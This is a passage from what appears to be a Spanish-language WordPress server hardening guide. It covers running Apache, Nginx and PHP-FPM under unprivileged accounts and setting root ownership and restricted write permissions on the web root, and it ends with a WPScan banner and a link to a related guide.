    root     2257     1  0 Apr08 ?        00:00:01 /usr/local/apache/bin/httpd -k start
    apache   5678  1234  0 Apr08 ?        00:00:00 /usr/sbin/httpd -k start
    apache   5679  1234  0 Apr08 ?        00:00:00 /usr/sbin/httpd -k start
    apache   5680  1234  0 Apr08 ?        00:00:00 /usr/sbin/httpd -k start
    apache   5681  1234  0 Apr08 ?        00:00:00 /usr/sbin/httpd -k start
    ```

2. Para Nginx:
    ```
    # ps -ef | grep nginx
    root      626653       1  0 Apr08 ?        00:00:00 nginx: master process /usr/sbin/nginx
    nginx     626654  626653  0 Apr08 ?        00:00:00 nginx: worker process
    nginx     626655  626653  0 Apr08 ?        00:00:00 nginx: worker process
    nginx     626656  626653  0 Apr08 ?        00:00:00 nginx: worker process
    nginx     626657  626653  0 Apr08 ?        00:00:00 nginx: worker process
    ```

**Remediación:**
- El servidor web debe ejecutarse como una cuenta dedicada y sin privilegios.
- En la mayoría de los casos, se utiliza una de estas cuentas de uso común como "www-data", "apache", "nginx", "nobody" o "daemon".

1. Para Apache:
    ```
    # vim /etc/httpd/httpd.conf
    ..
    ...
    User www-data
    Group www-data
    ..
    ...
    ```

2. Para Nginx:
    ```
    # vim /etc/nginx/nginx.conf
    ..
    ...
    user daemon;
    ```

**Nota:**
- Los usuarios de proceso del servidor web no deben tener privilegios de inicio de sesión de shell.  ```
  # cat /etc/passwd | grep -i www-data
  www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

**Mitigación:**
- PHP-FPM debería ejecutarse como una cuenta dedicada no privilegiada.
- En la mayoría de los casos, la cuenta utilizada es "php-fpm".

**Cambiando la cuenta del proceso para PHP-FPM:**```
# vim /etc/php-fpm.d/www.conf # Adjust the path based on your PHP version
...
user = php-fpm
group = php-fpm
listen.owner = php-fpm 
listen.group = php-fpm 

**Nota:**
- Usar cuentas de usuario diferentes para los procesos de PHP-FPM y los procesos del servidor web es preferible desde una perspectiva de seguridad.
- Cuando se pregunte cuál es mejor para la seguridad, deben ser diferentes. Evite usar la misma cuenta de ejecución en este contexto.


### 8.7. Asegurar la Configuración Segura del Directorio de Inicio de WordPress

Para operar un servidor web de forma segura, es crucial configurar adecuadamente la propiedad y los permisos del directorio de inicio de WordPress

En la mayoría de los casos, la propiedad y los permisos de los archivos y directorios de WordPress se establecen para coincidir con la cuenta de proceso del servidor web. 
Esta configuración permite que el servidor web acceda a los archivos en la raíz web y funcione sin errores.

Sin embargo, esta configuración es insegura.

Por ejemplo, si el proceso del servidor web es 'apache' y tanto el directorio raíz web como los archivos son propiedad de 'apache', podría provocar vulnerabilidades graves. 
Los atacantes podrían explotar estas vulnerabilidades para obtener acceso no autorizado a archivos y directorios críticos dentro del directorio de inicio de WordPress.

**Ejemplo común de vulnerabilidad:**
- Si tanto la cuenta de proceso del servidor web como el directorio de inicio (raíz web) y los archivos son propiedad de 'apache':
- En caso de vulnerabilidades en el sitio web y acceso externo al sistema (como webshell), los atacantes pueden realizar varias acciones dentro de la raíz web:
  1. Crear, modificar o eliminar archivos o directorios dentro de la raíz web.
  2. Manipular los registros de acceso web, incluyendo modificación, eliminación o creación. (excepto en algunos entornos)
  3. Puede obtener acceso a las cookies de sesión activas de usuarios conectados. (en entornos particularmente vulnerables)

Para mitigar estos riesgos, es crucial ajustar adecuadamente la propiedad y los permisos del directorio de inicio de WordPress

**Mitigación:**
- Establecer el propietario del directorio de inicio (raíz web) y los archivos a 'root:root'. (Evite establecerlo igual que la cuenta de proceso del servidor web)
- El UMASK predeterminado para directorios y archivos es 022. (Directorios: 755, Archivos: 644)
- Para directorios que requieren acceso de escritura como la carga de archivos por el servicio web, establezca el propietario de esos directorios a la cuenta de proceso del servidor web.

**Directorios que generalmente requieren permisos de escritura en WordPress:**```
/wp-content/uploads
/wp-content/cache
/wp-content/wflogs (when using security plugins like Wordfence)
/wp-content/upgrade (used during the WordPress upgrade process)

**En caso de que las cuentas de proceso de php-fpm y del servidor web sean diferentes (Permisos separados)**

Si la cuenta de proceso del servidor web es "apache" y la cuenta de proceso de php-fpm es "php-fpm".

Cambie los permisos de los directorios que requieren acceso de escritura en WordPress (por ejemplo, /wp-content/uploads).
- Propietario: php-fpm
- Grupo: apache
- Permisos de directorio: 775 (755 si es necesario)

**Estructura de archivos y directorios**

Establezca los permisos de escritura para los directorios necesarios de modo que ambas cuentas, "php-fpm" y "apache", puedan escribir.```
ex) /service/wordpress/www
├── index.php             (root:root, 644)
├── license.txt           (root:root, 644)
├── readme.html           (root:root, 644)
├── wp-activate.php       (root:root, 644)
├── wp-admin/             (root:root, 755)
├── wp-blog-header.php    (root:root, 644)
├── wp-comments-post.php  (root:root, 644)
├── wp-config-sample.php  (root:root, 644)
├── wp-config.php         (root:root, 644)
├── wp-content/           (root:root, 755)
│   ├── plugins/          (root:root, 755)
│   ├── themes/           (root:root, 755)
│   ├── uploads/          (php-fpm:apache, 775)
│   │   ├── 2024/         (php-fpm:apache, 775)
│   │   └── ...           (php-fpm:apache, 775)
│   └── ...               (root:root, 755)
├── wp-cron.php           (root:root, 644)
├── wp-includes/          (root:root, 755)
├── wp-links-opml.php     (root:root, 644)
├── wp-load.php           (root:root, 644)
├── wp-login.php          (root:root, 644)
├── wp-mail.php           (root:root, 644)
├── wp-settings.php       (root:root, 644)
├── wp-signup.php         (root:root, 644)
├── wp-trackback.php      (root:root, 644)
└── xmlrpc.php            (root:root, 644)

     __          _______   _____
     \ \        / /  __ \ / ____|
      \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
       \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
        \  /\  /  | |     ____) | (__| (_| | | | |
         \/  \/   |_|    |_____/ \___|\__,_|_| |_|

     WordPress Security Scanner by the WPScan Team
                     Version 3.8.22
   Sponsored by Automattic - https://automattic.com/
   @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart

---
### Leer a continuación
- [Configurar proxy Squid con mejores prácticas de seguridad](https://github.com/password123456/setup-squid-proxy-with-security-best-practice)